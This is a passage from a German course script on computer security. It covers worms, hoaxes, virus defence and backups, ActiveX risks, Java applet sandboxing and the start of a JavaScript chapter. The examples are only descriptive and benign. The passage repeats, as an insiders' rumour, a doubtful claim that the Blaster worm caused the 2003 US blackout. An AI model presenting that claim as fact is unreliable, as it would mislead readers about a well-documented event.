Rechnern, nistete sich ein und verbreite sich auf andere Rechner. Microsofts Security Bulletin MS03-026 beschreibt die Lücke ausführlich. Wie bei einem Buffer Overflow üblich, wird der angegriffene Service in seiner Funktionsweise empfindlich gestört. Beim RPC-Service führte dies zum Absturz. Für Windows Rechner ist dieser Service aber so zentral, das Microsoft für den Fall eines Absturzes automatisch den Neustart des Rechners einprogrammierte. Inoffiziell wird auch gemunkelt, dass der grossflächige Stromausfall an der Ostküste der USA am Donnerstag den 14. August 2003 durch diesen Wurm ausgelöst wurde. Insider berichteten, dass das Netzwerk der National Grid USA durch den permanenten Neustart befallener Server so stark in Mitleidenschaft gezogen worden sei, dass die ankommende Alarmmeldung eines Blitzschlages bei den Niagarafällen nicht korrekt und fristgerecht verarbeitet werden konnte. Die anschliessenden Fehleinschätzungen und Massnahmen führten schlussendlich zum kompletten Ausfall des Stromnetzwerkes. 4.4.6 Hoax Hoax (-Meldungen) sind Jux-Meldungen, die vor neuen Computerviren warnen sollen. Leider sind diese Warnungen wie bereits erwähnt nicht wahr. Verbreitet werden Hoax-Meldungen als Email. Laien senden diese oft weiter, da sie die Meldungen als wahr erachten. Heute werden Jux-Meldungen ebenso als Computerviren betrachtet. Man führt folgende drei Gründe an : • Die enorme Verbreitung legen Mail-Systeme lahm. Besonders beliebt sind Massenemail ausgelöst durch Verteilerlisten in Firmen. (z.B. alle@Standort.Firma.Domain) • Sie tragen zur allgemeinen Verunsicherung der PC-Benutzer bei, den diese können deren Wahrheitsgehalt meist nicht überprüfen. • Es findet eine allfällige Desensiblisierung gegenber echter Virus statt. 45 Firmen können sich vor Hoax-Meldungen schützen, indem sie ihre Mitarbeiter so instruieren, dass eingehende Virenwarnungen zuerst dem Informatikdienst zu senden sind. Nur dieser darf interne Warnungen weitergeben. Anders herum muss auch informiert werden, dass Virenmeldungen, welche nicht vom Informatikdienst stammen nicht zu beachten sind. Kennzeichen von Hoax-Meldungen sind einfach zu eruieren. Neben der Beschreibung eines fiktiven Computerivirus springt vor allem die Aufforderung ins Auge, dass man diese Email an möglichst viele anderen Personen weiterleiten sollen. Abbildung 4.26: Hoax Beispiel 4.4.7 Mögliche zukünftige Computerviren Die Entwicklungen im Computerbereich schreiten stetig voran. So ist es auch nicht verwunderlich, dass immer neue Technologien entstehen, die man für Computerviren missbrauchen kann. Hier zwei Beispiele : 46 Abbildung 4.27: Artikel (www.heise.de/ct) Abbildung 4.28: Quelle c’T 2000, Heft 4 Seite 210 47 Abbildung 4.29: Microsoft Instant Messenger Wurm 48 4.5 Virenbekämpfung Ein durchdachtes Virenschutzkonzept basiert auf zwei Säulen. Zum einen auf einem funktionierenden Backupwesen, damit verloren gegangene Informationen wieder restauriert werden können, und zum anderen auf der Basis von Kontrollen. Seien es Kontrollen zur Prävention (Virenvorbeugung) oder Inspektionen, welche den aktuellen Datensatz nach Viren überprüfen. Grundstzälich gilt ein System so lange als infiziert, bis man sich vom Gegenteil überzeugt hat. Diese Kontrolle ist zwingend periodisch durchzuführen, da selbst die beste Prävention nicht hundertprozentig vor einer Infizierung mit Viren schützen kann. Weiter ist zu beachten, dass täglich neue Viren programmiert werden. Dies bedeutet, dass auch die Programme zum Aufspüren von Viren immer dem aktuellen Stand anzupassen sind. 4.5.1 Backupstrategien Die Backupstrategie einer Firma könnte wie folgt aussehen Montag bis und mit Donnerstag werden Tagesbackups erzeugt. Diese werden im Wochenrythmus zyklisch berschrieben (vier Backupmedien) und liegen griffbereit direkt neben dem Backupgerät. Am Freitag wird ein Wochenbackup erstellt. Dieses wird alle fünf Wochen zyklisch berschrieben (fünf Backupmedien). Das Wochenbackup liegt im Safe des Abteilungsleiters. Ist es der letzte Freitag im Monat, so wird ein Monatsbackup angefertigt. Das Monatsbackup wird nicht mehr überschrieben und extern gelagert (12 Backupmedien pro Jahr). Mit dieser Strategie ist die Firma in der Lage, den Stand eines jeden Monatsendes zu restaurieren. Innerhalb des letzten Monats dessen jeweiligen Stand am Freitag und jeden Tag während der vergangenen fünf Arbeitstage. Der schwierigste Teil einer Backupstrategie besteht darin, dedizierte Rechner (z.B. Laptops) einzubinden. 4.5.2 Prävention Viren lauern in Programmen, Dokumenten und auf austauschbaren Medien (z.B. Disketten, USB Sticks). Vereinfacht könnte man also als erste präventive Massnahme formulieren: Tausche weder Programme, Dokumente noch Medien mit anderen Personen. In der heutigen vernetzten Welt ist eine solche restriktive Forderung nicht mehr denkbar. Aber sie weist den Weg für mögliche Ansätze. Viren können sich erst weiterverbreiten, wenn das Wirtsprogramm gestartet bzw. das Wirtsdokument bearbeitet wird. Es ist also durch organisatorische Massnahmen dafür zu sorgen, dass jedes fremde Programm, jede unbekannte Diskette und jedes zu bearbeitende Dokument zuerst auf Viren untersucht wird. Die Untersuchung kann und sollte heutzutage automatisch im Hintergrund (Stichwort: Virenwächter) erfolgen. Alle aktuellen Virenschutzwerkzeuge bieten die Installation eines solchen permanenten Wächters an. Des weiteren müssen die Mitarbeiter betreffend dem Thema Viren sensibilisiert werden, so dass sie selber den ersten Schritt gegen eine Weiterverbreitung bzw. eine Infektion ausführen können und sich den möglichen Gefahren bewusst sind. Die Mentalität mir passiert schon nichts muss aus den Köpfen verschwinden, da sie mit der heutigen Realität nichts mehr gemein hat. Die bisherigen Massnahmen zur Prävention vor Viren können durch weitere technische Mittel gestärkt werden. Ein solches Mittel ist der Schreibschutz von Dateien und Verzeichnissen. Nur einen bedingten Schutz gegenüber Viren lässt sich durch das Aktivieren des Schreibschutzes von Daten unter MS-DOS und Windows 9x/ME erreichen. Dieser Schutz lässt sich nämlich relativ einfach wieder abschalten, so dass das Virus 49 trotzdem die Datei infizieren kann. Um einiges wirksamer ist der Schreibschutz basierend auf den Zugriffsberechtigungen von Benutzern, z.B. mit NTFS. Entzieht man allen Bentzern das Schreibrecht für die Standardvorlage von Word (Normal.dot), so kann sich dort kein Makrovirus mehr einnisten. 4.5.3 Suchen und Entfernen von Viren Das Entfernen von Viren umfasst im Grunde zwei Schritte. 1. Zuerst muss das Virus gesucht und dessen Typ bestimmt werden. 2. Ist Standort und Virustyp bekannt, kann dieser, falls möglich, gelöscht werden. Leider ist es nicht immer möglich, das Virus ohne Zerstören des Wirtsprogrammes bzw. Wirtsdokumentes zu löschen. Es ist also wichtig, neben den Virenschutzwerkzeugen ein organisiertes und funktionierendes Backupwesen aufzuziehen. Ausfälle aufgrund nicht wiederherstellbarer Dokumente lassen sich so vermeiden. Insbesondere muss hier auf Viren, welche die Partitionstabelle modifizieren, hingewiesen werden. Meistens lassen sich diese nur mit einer kompletten Neupartitionierung und Neuformatierung der Festplatte mit anschliessender Systeminstallation entfernen. Diejenigen welche für solche Fälle ein Backup vorbereitet haben, sparen einiges an Zeit und Nerven, weil man das verlorengegangene System relativ einfache wieder einspielen kann. Komplett installierte und konfigurierte Systeme lassen sich einfach mit Systemimages (1:1 Kopien der Festplatten) auch über das Netzwerk leicht wieder herstellen (Mögliche Produkte ImageBlast, Ghost oder DriveImage). Besonders hartnäckig sind Bootsektor-Viren und aktive, speicherresistente Viren. Diese lassen sich nur bedingt mit einem Virenscanner beheben. Meistens ist ein Systemstart von einer sauberen sprich nicht infizierten Boot-CD-ROM. Nur so lassen sich die ansonsten im Speicher befindlichen Viren eliminieren. Aktuelle Virenscanner liegen zum Teil auf CD-ROM vor und können (z.B. Norton AntiVirus für MacIntosh) von dort direkt gestartet werden. Oder sie erlauben bei der Installation das Erstellen einer Rettungsdiskette. Probleme beim Erkennen von virenbefallenen Programmen und Dokumenten bereiten komprimierte Dateien aus dem Internet, sich selber verschlüsselnde Viren (Cryptoviren) oder sich tarnende Viren (Stealth-Viren). Bei allen gemein ist, dass das binäre Muster verändert wurde. Ohne dieses eindeutige binäre Muster ist das Virensuchprogramm nicht mehr in der Lage, die Viren aufzuspüren. Die Virenscanner ihrerseits müssen somit zuerst die Komprimierung, Verschlüsselung oder den Tarnmechanismus ausser Kraft setzen, um das selbst Virus zu erkennen. 50 Kapitel 5 ActiveX 5.1 Technologie ActiveX, früher OLE Control genannt, erlaubt die Kommunikation zwischen unterschiedlichen Anwendungen, auch über das Internet. Dies ist eine Weiterentwicklung der bisherigen aufs lokale Netzwerk beschränkten OLE/DCOM-Technologie. So lässt sich der Internet Explorer von Microsoft durch ActiveX-Objekte, welche in eine Homepage eingebettet sind, automatisch um neue Funktionen erweitern (z.B. On-lineBanking). Diese eingebetteten Objekte werden - je nach der eingestellten Sicherheitsstufe - ohne Rückfrage an den Benutzer vom Internet auf den lokalen Rechner kopiert und ausgeführt. Begriffsdefinitionen : ActiveX Technologie von Microsoft für die Erstellung von binären Softwarekomponenten, um Anwendungen automatisch um bestimmte Fähigkeiten zu erweitern. ActiveX-Objekt/ActiveX-Control Ein gemäss der ActiveX- Technologie in C/C++ oder Visual Basic erstelltes Programm bzw. Binärcode. Aufgrund des Binärcodes sind ActiveX-Objekte auf Microsoft Windows beschränkt und spezifisch auf den jeweiligen Prozessor zugeschnitten (Intel x86 und kompatible Prozessoren). Solche Objekte lassen sich in HTML-Seiten einbetten und im Internet Explorer ausführen (siehe Beispiel). Jedes ActiveX-Objekt muss mit einer weltweit eindeutigen Identifikation versehen werden, einer sogenannten CLASSID. Der Internet Explorer von Microsoft ist der einzige Browser, welcher diese automatische Erweiterbarkeit mit ActiveX native unterstützt. Die Internet Explorer in den Varianten für MacOs oder Solaris nutzen diese Technologie nicht. 5.1.1 ActiveX als Anwender Für den Anwender präsentiert sich ActiveX - mit Ausnahme der Sicherheitsrisiken unproblematisch und durchgängig. Lokale Programmteile - die ActiveX- Komponenten - finden automatisch im Internet Explorer Verwendung. Ein sehr anschauliches Beispiel ist der Media-Player von Microsoft. Grundsätzlich wird mit dem Internet Explorer ab Version 4.0 ein ActiveX-Objekt - genannt ActiveMovie - installiert. Dieses ActiveX kann nun lokal vom Windows Media Player genutzt werden oder auch für Filme im Internet. 51 Abbildung 5.1: Film im lokal installierten Windows Media Player Dasselbe ActiveX-Objekt kann sich nun auch der Internet Explorer zu nutze machen, um Filme aus dem Internet abzuspielen. Die Ausgabe erfolgt dabei nicht in einem eigenständigen Fenster wie beim Media Player, sondern eingebettet in die Webseite. Abbildung 5.2: ActiveMovie - Komponente im Internet Explorer Es ist klar ersichtlich, dass der Bildbereich - inklusive der Steuerung am unteren Ende - absolut identisch ist. Der Internet Explorer kann nun unabhängig von der eige- 52 nen Version, sämtliche Audio- und Videoformate abspielen, welche das lokale ActiveXObjekt unterstützt. Theoretisch könnte mit der ActiveX-Technologie auch direkt auf der Webside eine neuere Version der ActiveMovie-Komponente platziert werden, um die lokale Installation automatisch zu aktualisieren. Dies wird aber aufgrund der Sicherheitsbedenken heute nicht ausgenutzt. 5.1.2 ActiveX aus Sicht des Technikers Die Anwendungen von ActiveX-Objekten sind vielfältig, als Beispiel eine Schachimplementation. In der Webseite chess.htm auf dem Server http://www.darif.fh-offenburg.de/academic/ ist folgender Text eingefügt, welche das ActiveX-Objekt und dessen Verwendung spezifiziert. (Hinweis: Leider wurde diese Seite inzwischen vom Provider gelöscht, so dass Sie diese Beispiel nicht mehr Online nachvollziehen können.) <object ID="Geiges" CLASSID="clsid:F56417CD-E363-11D1-82DF-0000E8245146" CODEBASE="../ocx/Chess.CAB#version=1,0,0,0" WIDTH="423" HEIGHT="320"> </object> Der Internet Explorer interpretiert diese Zeilen nun wie folgt. Als erstes sucht er in der lokalen Registry von Windows nach einem bereits registrierten Objekt mit der Identifikation F56417CD-... . Ist kein solches vorhanden, so lädt er dieses an der mit CODEBASE angegebenen Adresse herunter und installiert dieses Objekt auf dem lokalen Rechner. Diese Installation lässt sich mit dem Registrierungseditor verifizieren. Abbildung 5.3: ActiveX-Objekt Installation Nach der Installation kann das ActiveX-Objekt gestartet und anhand der Grössenangaben WIDTH und HEIGHT in einem Rechteck von 432 auf 320 Bildpunkten innerhalb des Browser-Fensters dargestellt werden. 53 Abbildung 5.4: ActiveX Beispiel Schach 5.2 Bedrohung ActiveX-Objekte können aufgrund ihrer binären Spezifikation direkt auf das Betriebssystem zugreifen, d.h. sie benutzen den gesamten Funktionsumfang des Betriebssystems. Wenn sie als Anwender erlauben, dass ein ActiveX-Objekt auf den Rechner geladen wird, kann dieses Programm so ziemlich tun und lassen was es will. Es gibt keine Befehlsbeschränkungen bei ActiveX, sondern nur eine Vertrauensbarriere, nämlich die Abfrage des Browsers, ob der Anwender mit der Ausführung des Programms auf seinem Rechner einverstanden ist oder nicht. So ist es möglich, Objekte zu schreiben, die den lokalen Rechner via Internet-Homepage herunterfahren! Des weiteren sind diese Objekte ja eine Weiterentwicklung der bisherigen OLE/DCOMTechnologie, welche zum Beispiel in Office zum Einsatz kommt. Somit können ActiveXObjekte direkt mit Komponenten des Office-Paketes kommunizieren, um zum Beispiel eine Lohnabrechnungstabelle auszuspionieren. 54 Abbildung 5.5: Zusammenspiel Office und ActiveX Derzeit wird das Sicherheitskonzept von ActiveX noch diskutiert. Anders als bei Java ist kein eigentliches Konzept bereits bei der Spezifikation mitentwickelt worden, und man versucht dies jetzt mit Zertifikaten nachzuholen. Ein Zertifikat ist eine Bestätigung seitens einer Zertifizierungsinstanz, welche zusichert, dass das ActiveX von der angegebenen Quelle stammt und nur die dort angegebene Funktion ausführt. Wie eine unauthorisierte Fernbedienung aussehen könnte hat der Chaos Computer Club Deutschland 1997 (www.ccc.de) eindrücklich demonstriert. Mitglieder des Clubs schrieben mit Visual-Basic ein ActiveX-Objekt, welches in einer Webside versteckt wurde. 55 Abbildung 5.6: Lockseite Suft ein Internetbenutzer auf dieser präparierten Seite, so wird bei aktivierter ActiveX-Unterstützung das versteckte Visual-Basic Programm automatisch runtergeladen und installiert! Abbildung 5.7: Automatische Installation neuer ActiveX-Objekte in der Fusszeile Nach der Installation wird das ActiveX-Objekt ausgeführt. Dieses spezielle Objekt sucht auf der lokalen Harddisk nach Quicken - das in Deutschland verbreitetste Programm zur Kontenverwaltung und Online-Banking für private Anwender und Selbständige. Ist Quicken auf dem entsprechenden Rechner installiert, so initiiert das ActiveX-Objekt selbständig eine Zahlungsanweisung, von der der eigentliche Benutzer nichts merkt (ausser er kontrolliert permanent sämtliche getätigten Zahlungen). 56 Abbildung 5.8: Bestätigte Überweisung in Quicken 5.3 Massnahmen Grundsätzlich bietet nur der Internet Explorer die Möglichkeit ActiveX-Objekte auszuführen. Ob ein ActiveX-Objekt ausgeführt wird, kann unter ANSICHT Menupunkt INTERNET-OPTIONEN nachgesehen werden. 57 Abbildung 5.9: Internetoptionen IE v5 Die Sicherheit ist in verschiedene Zonen eingeteilt, denen sich unterschiedliche Sicherheitsstufen zuweisen lassen : • lokale Intranetzone • Zone für vertrauenswürdige Sites • Internetzone • Zone für eingeschränkte Sites Der nachfolgende Teil beschränkt sich auf die Internetzone, da sie ja der eigentliche Gegenstand dieses Dokumentes darstellt. Der Internetzone kann eine der folgenden Sicherheitsstufen zugeordnet werden, nämlich HOCH, MITTEL, NIEDRIG und ANGEPASST. Interessant dabei ist die Option ANGEPASST. Sie erlaubt die individuelle Einstellung aller im Browser möglichen Sicherheitsoptionen, die ActiveX betreffen. Es sind dies : • AUSFÜHREN VON ACTIVEX-STEUERELEMENTEN, DIE ALS SICHER FÜR SCRIPTING MARKIERT SIND Erlaubt die Benutzung von bereits lokal vorhandenen von Windows speziell markierten ActiveX-Elementen, z.B. ActiveMovie. • AUSFÜHREN VON ACTIVEX-STEUERELEMENTEN, DIE NICHT ALS SICHER MARKIERT SIND Erlaubt die Benutzung von bereits vorhandenen ActiveX-Elementen aus anderen Quellen • ACTIVEX-STEUERELEMENTE UND PLUGINS AUSFÜHREN Standardoption zur Aktivierung von ActiveX und Plug-Ins 58 • DOWNLOAD VON SIGNIERTEN ACTIVEX-STEUERELEMENTEN Erlaubt den Download und die Installation von zertifizierten ActiveX-Objekten. • DOWNLOAD VON UNSIGNIERTEN ACTIVEX-STEUERELEMENTEN Erlaubt den Download und die Installation von nicht zertifizierten Objekten. Bei der Einstellung FRAGEN werden die Zertifizierungsinformationen angezeigt. Abbildung 5.10: Warnung bei unbekanntem Zertifikat Kill Bit Beginnend mit Internet Explorer v5.0.1 SP2 hat Microsoft begonnen, eine Blacklist von ActiveX-Controls zu führen, deren Nutzung im IE verboten ist. Zusätzlich erhielt man über das neue «AddOns» Menü eine einfache Möglichkeit, selber lokal installierte ActiveX Komponenten zu sperren oder manuell freizugeben. 59 Abbildung 5.11: Add-On Menu Im Knowledgebaseartikel «How to stop an ActiveX control from running in Internet Explorer» unter http://support.microsoft.com/kb/240797 beschreibt Microsoft im Detail die technischen Hintergründe. Start ohne Add-Ons Mit IE7 führt Microsoft noch eine weitere Neuerung ein. Der Browser kann per Verknüpfung direkt ohne aktive Add-Ons gestartet werden. 60 Abbildung 5.12: IE 7 ohne aktiven Add-Ons 5.4 Zukunft ActiveX-Objekte, welche sich direkt aus dem Internet runterladen, installieren und dementsprechend nutzen lassen, sind in dieser Form nicht mehr anzutreffen. Microsoft spricht es zwar nicht offen aus, aber die Taten sprechen für sich. ActiveX als aktive Komponente im Internet ist tot. Sämtliche Internet-Seiten, welche sich zu diesem Thema befassen werden nicht mehr gepflegt und nach und nach vom Netz genommen. Des weiteren ist auf der kompletten Microsoft Webseite (http://www.microsoft.com) kein einziges ActiveX- Objekt mehr zu finden. Für einen Systemadministrator bedeutet dies, dass er ohne funktionelle Einschränkungen seitens der Anwender die beiden ActiveX-Optionen DOWNLOAD VON SIGNIERTEN ACTIVEX-STEUERELEMENTEN und DOWNLOAD VON UNSIGNIERTEN ACTIVEX-STEUERELEMENTEN deaktivieren kann. Leider installieren Programme von Drittherstellern teilweise eigene, nicht von Microsoft kontrollierte ActiveX-Objekte. Falls diese durch interne Programmierfehler Hintertüren öffnen, ist auch ohne direkter Internetdownload der eigene Rechner gefährdet. 61 Abbildung 5.13: Sicherheitslücke im ActiveX-Control von CR64Loader 62 Kapitel 6 JavaTM 6.1 Technologie Java ist eine Technologie, um genauer zu sein eine Programmiersprache, die von der Firma SUN Microsystems 1990 entwickelt wurde. Anwendungen, welche in Java realisiert wurden, sind plattformunabhängig. Das heisst, dass einmal geschriebene Programme auf allen Systemen eingesetzt werden können, egal ob der Anwender mit Windows, MacOs oder einem Unix-System arbeitet. Realisiert wird diese Plattformunabhängigkeit dadurch, dass der Java-Compiler keinen rechnerspezifischen Programmcode erzeugt, also zum Beispiel kein Intel x86 Programm. Stattdessen generiert der Compiler einen sogenannten Bytecode. Dieser Bytecode ist ausgerichtet für eine virtuelle Maschine, also einen fiktiven Computer. Will man nun ein Java-Programm starten, benötigt man eine Laufzeitumgebung, auch Runtime genannt. Sie wandelt die für die virtuelle Maschine gedachten Anweisungen in spezifische Anweisungen für den real benutzten Prozessor um. Abbildung 6.1: Java Runtime Konzept 63 Diese plattformunabhängige Technologie ist geradezu prädestiniert, um im (sehr heterogenen) Internet Anwendung zu finden. Bereits bei der Entwicklung der Programmiersprache Java erkannte SUN das Potential sowie die möglichen Gefahren und spezifizierte neben dem eigentlichen Java-Programm die sogenannten Java-Applets. Ein Java-Applet unterscheidet sich gegenber einem normalen Java-Programm in zweierlei Hinsicht : • Das Java-Applet kann in eine HTML-Seite eingebunden und im Browser gestartet werden. • Das Applet unterliegt sehr strengen Sicherheitsrichtlinien. So kann es nur mit dem Web-Server, von dem es stammt, Verbindung aufnehmen. Kontakte zu anderen Hosts oder Zugriffe auf die lokale Festplatte sind nicht möglich. Im Konkreten sind folgende Operationen untersagt : 1. Operation 2. Lesen einer lokalen Datei 3. Schreiben einer Datei auf das lokale Filesystem 4. Lesen von Dateiinformationen 5. Löschen einer Datei ( mittels exec) 6. Löschen einer Datei ( mittels File.delete() ) 7. Netzverbindung zu einem Port am eigenen Rechner 8. Netzverbindung zu einem Port eines dritten Rechners 9. Laden einer Bibliothek 10. Programmbeendigung mit exit(-1) 11. Öffnen eines Popup-Fensters ohne Warnung Anfangs wurden Java-Applets nur für kleine Aufgaben auf Homepages eingesetzt; so zum Beispiel als News-Ticker oder für adaptive Menus. Heutzutage lassen sich mit Applets ganze Online-Banking-Anwendungen realisieren. Yellow Net Anwndung fürs Internetbanking der Post Abbildung 6.2: Yellow Net Startbildschirm 64 Abbildung 6.3: Yellow net in MacOs Zur Demonstration der Technologie im Rahmen dieses Kurses reicht auch ein kleineres Beispiel. Ein klassisches Programm in jeglicher Programmiersprache stellt Hello World dar. Im Nachfolgenden nun eine Implementation als Java-Applet. Dieses kleine Applet schreibt auf einem grauen Hintergrund die Worte Hello World. Abbildung 6.4: «Hello World» Applet Implementiert ist dieses Applet wie folgt. import java.applet.Applet; import java.awt.Graphics; import java.awt.Color; public class HelloWorld extends Applet { public void start() { setBackground( Color.gray); } public void paint( Graphics g) { g.drawString( "Hello World", 20, 20); } } Dieser Quellcode wird mit Hilfe des Java-Compilers in ein Java-Programm, bzw. aufgrund der verwendeten Klassen, in den Bytecode eines Java-Applets gewandelt. Dieses Java-Applet (HelloWorld.class) kann nun in eine HTML-Seite (HelloWorld.html) eingebunden werden. Dazu wird der HTML-Tag <applet></applet> verwendet. Neben der Angabe des Bytecodes muss noch die Grösse des Applet angegeben werden. Bei 65 diesem Beispiel soll das Java-Applet eine Grösse von 150x50 Bildschirmpunkten aufweisen. <html> <head> <title>HelloWorld Applet</title> </head> <body bgcolor="#FFFFFF"> <applet code="HelloWorld" width="150" height="50"> </applet> </body> </html> Nicht verwechseln sollte man Java mit der ebenfalls in den Web-Browser unterstützten Scriptsprache JavaScript. 6.2 Bedrohung Java-Applets stellen von der Idee her kein Sicherheitsrisiko dar, da bereits bei der Spezifikation der Programmiersprache an restriktive Sicherheitsmechanismen gedacht wurde. Als erstes prüft der Browser bereits beim Download des Applets in den lokalen Speicher, ob der Bytecode in Ordnung ist. Erst wenn der Bytecode korrekt ist, wird im Browser die Runtime gestartet, die anschliessend den Bytecode abarbeitet. Die Runtime des Browsers, oft auch Sandbox genannt, ist speziell für den Betrieb von Applets vorbereitet und erlaubt keine Zugriffe auf lokale Ressourcen wie zum Beispiel Laufwerke. Es obliegt nicht dem Programmierer, ob er die Sicherheitsrichtlinien einhalten will oder nicht, sondern der Runtime. Verstösse gegen die Sicherheitsrichtlinien werden vom Interpreter sofort geahndet, will heissen, er beendet sofort das Applet. Abbildung 6.5: Java «Sandbox» Leider lässt die Implementation der spezifizierten Sicherheitsstandards in der Runtime teilweise noch zu wünschen brig und erlaubt Zugriffe, die eigentlich gar nicht zugelassen sind. 66 Bis zum jetzigen Zeitpunkt sind gerade mal zwei JavaViren bekannt. Es sind dies die Viren JavaApp Strange.Brew und JavaApp BeanHive. • JavaApp Strange.Brew Das Virus Strange.Brew ist das erste gemeldete Java Virus überhaupt. Es war vom Autor wohl eher als Demonstartionsvirus gedacht, da es keine eigentliche zerstörerische Wirkfunktion enthlt. Weiter ist die Weiterverbreitung dadurch eingeschränkt, dass die Java-Runtimes von Netscape und dem Internet Explorer die Codeveränderung erkennen und die Weiterverbreitung verhindern. Eine Infektion via Internet ist hier nicht möglich. Nur, falls ein infiziertes Java-Programm lokal gestartet wird (z.B. mit dem Appletviewer von Sun oder dem JViewer von Microsoft), kann das Virus andere JavaProgramme infizieren. • JavaApp BeanHive Auch dieses Virus wurde wahrscheinlich als Technologiedemonstration entworfen, da es ebenfalls keine Wirkfunktion enthält. Dieses Virus kann jedoch auch via Internet den lokalen Rechner infizieren und zwar durch folgenden Mechanismus. Die strengen Richtlinien und Sicherheitsbeschränkungen der virtuellen Maschine lassen sich lockern, falls ein Applet dies wünscht und der Benutzer dies in einem Pop-Up Dialog bestätigt sprich akzeptiert. Falls ein Benutzer diese Lockerung ablehnt, so terminiert sich das Virus automatisch und eine Infektion ist nicht möglich. Akzeptiert der Anwender dagegen den Wunsch des Applets, so erlangt dieses die Rechte auf das lokale Dateisystem zugreifen zu drüfen (ähnlich einem ActiveX). Damit stehen natrlich die Tore weit offen, um die Java-Programme des lokalen Rechners mit Java-Viren zu infizieren. Beide Viren sind jedoch nur sehr selten anzutreffen (gemäss Angaben von Symantec). Wie sich die Viren basierend auf der Technologie von Java weiterentwickeln ist noch ungewiss. 6.3 JavaTM 2 Plattform Die rasche Entwicklung von Java stösst bei den Browsern auf Grenzen. Die Browserhersteller, welche bisher die Virtuelle Maschine alleinig programmierten, können die wachsenden Anforderungen an die virtuelle Maschine nur sehr langsam erfüllen. Schliesslich ist der Browser ihr Fokus und nicht die virtuelle Maschine. Die Entwickler von Java haben sich nun entschlossen, diesem Umstand Rechnung zu tragen und neben der bisherigen rein lokalen virtuellen Maschine, auch eine für Internetbrowser anzubieten. Somit sollen die Browserentwickler entlastet und die Verbreitung neuer Java-Features gefördert werden. Abbildung 6.6: Ausgelagerte virtuelle Maschine in Java 2 Plattform 67 Die virtuelle Maschine für Browser ist ein Plug-In, welche dem Browser die bereits lokal installierte Java Virtual Maschine von Sun zur Verfügung stellt. Mit diesem PlugIn nachgerüstet, können beinahe sämtliche Browser von Netscape und Microsoft die neuen Java-Versionen abarbeiten. Aufgrund der Ausgliederung der virtuellen Maschine aus dem Browser, musste auch das Sicherheitskonzept berarbeitet werden. Im bisherigen Sandbox Modell war es so, dass sämtliche aus dem Internet kommenden Programme die Applets als nicht vertrauenswürdig angesehen wurden und dem entsprechend keine Berechtigungen auf dem lokalen Rechner besassen (z.B. ein Applet konnte nicht mal drucken!). Diese Einschränkung wurde durch den Browser und dessen integrierte VM kontrolliert. Andererseits waren lokale Java-Programme (Applications und Apples) immer vertrauenswrüdig und besassen die vollen Rechte des entsprechenden Benutzers. Neu muss die Java Virtual Maschine sämtliche Kontrollfunktionen übernehmen. Dazu kann bzw. muss der Administrator für jedes Java-Programm (also nicht nur für jene aus dem Internet) Berechtigungen festlegen. Berechtigungen beziehen sich auf lokale Ressourcen (Datei, Verzeichnis, Laufwerk, Festplatte, Drucker etc) und lassen sich in Domnen (bekannt aus dem Internet) gruppieren. 6.4 Massnahmen Alle gängigen Internet-Browser, welche Java unterstützen, bieten eine Option zum Deaktivieren der Java-Unterstützung an. Beim Browser Firefix ist diese unter BEARBEITEN Menupunkt EIN-STELLUNGEN zu finden. Abbildung 6.7: Firefox Einstellungen Microsofts Internet Explorer stellt die Optionen ebenfalls in einem Dialog unter ANSICHT Menupunkt INTERNETOPTIONEN... dar. Die eigentliche Java-Option ist aber erst unter SICHERHEIT Auswahl ANGEPASST zu finden. 68 Abbildung 6.8: Internet Explorer Die verschiedenen Optionen erlauben es nun dem Anwender, die Rechte von Applets zu erweitern oder auch einzuschränken. Im Normalfall steht hier HOHE SICHERHEIT bzw. JAVA DEAKTIVIERT. Die weiteren Java-Einstellungen sind im Register ERWEITERT zu finden. Abbildung 6.9: Erweiterte Java-Einstellungen IE 69 Eigentlich nur für Java-Entwickler ist die Einstellung BENUTZERDEFINIERT interessant, da dort direkt auf die spezifischen Möglichkeiten von Java Bezug genommen wird. Abbildung 6.10: Benutzerdefinierte Sicherheitseinstellungen für Java 6.5 Zukunft Die Zukunft von Java sieht sehr gut aus. Die Gründe dafür liegen unter anderen in folgenden Punkten: • Keine andere Programmiersprache hat sich in nur vier Jahren von einem System für Internetfreaks in eine alltagstaugliche Plattform entwickelt. Und ein Ende der Entwicklung ist nicht in Sicht. Für den Anwender bedeutet dies unter anderen die Verfügbarkeit verschiedenster Bibliotheken, welche Ihm die Lösung seiner Prob-leme vereinfachen, ohne das Rad selber neu erfinden zu mssen. • Der Slogan Write once, run everywhere ist heute Realiätt. Anfangs war dieser Slogan mehr eine theoretische Schlussfolgerung aufgrund der technischen Grundlagen von Java, da die verschiedenen virtuellen Maschinen unterschiedliche Fehler aufwiesen. Lief ein System auf einer Plattform, konnte durch den Wechsel der virtuellen Maschine das Programm aufgrund neuer - bisher unentdeckter Fehler - den Dienst verweigern. • Waren zu Beginn nur die Kommandozeilenwerkzeuge von Sun Microsystems das Java Developer Kit (kurz JDK) gratis verfügbar, so sind heute viele integrierte Entwicklungsumgebungen renommierter Hersteller für den privaten und schulischen Gebrauch kostenlos erhältlich, z.B. Visual Age for Java von IBM. Die Programmiersprache Java löst deshalb in vielen Schulen und vor allem im Privatbereich die klassischen Entwicklungssysteme wie Pascal, Delphi oder Visual Basic ab. Inzwischen haben sich alle grossen Hersteller von Computerprodukten mit Ausnahme 70 von Microsoft, welche Java (genannt J++) zu Gunsten ihrer recht ähnlichen Programmiersprache C# (Sharp) aufgab, zu Java bekannt und liefern Produkte auf der Basis von Java aus. 71 Kapitel 7 JavaScript 7.1 Technologie Die Firma Netscape entwickelte JavaScript, um ihren Browser um einer Scriptsprache zu erweitern. JavaScript erlaubt die Programmierung einfacher Aufgaben innerhalb der Browsers selbst, die mit dem bis dato statischen HTML nicht möglich waren. Diese Scriptsprache ist strikte gegenber Java, welches eine Programmiersprache darstellt, zu trennen. Die einzige Gemeinsamkeit liegt darin, dass das hauptsächliche Einsatzgebiet das Internet darstellt. 1997 wurde JavaScript bzw der daraus abgeleitete Standard ECMA-262 offiziell anerkannt. Die Spezifikation von ECMA-262 - konkret von ECMA Script : A general-purpose, cross-platform programming language - ist als Download verfügbar. Dieses Dokument beschränkt sich auf die Beschreibung von client-side JavaScript, also von JavaScript, welches im Browser interpretiert wird. Die ebenfalls verfügbare server-seitige JavaScript Implementation wird nicht besprochen. JavaScript als Scriptsprache benötigt keinen Compiler, sondern wird direkt im Browser interpretiert, also Schritt für Schritt ausgeführt. Dazu muss der Quellcode des Scripts in den HTML-Code einer Homepage eingebettet oder zumindest referenziert werden. Grundsätzlich gibt es drei mögliche Varianten, JavaScript zu verwenden : 1. Einbinden von Quellcode in HTML-Code mittels <SCRIPT></SCRIPT> Tag 2. Referenzieren einer JavaScript-Datei im <SCRIPT 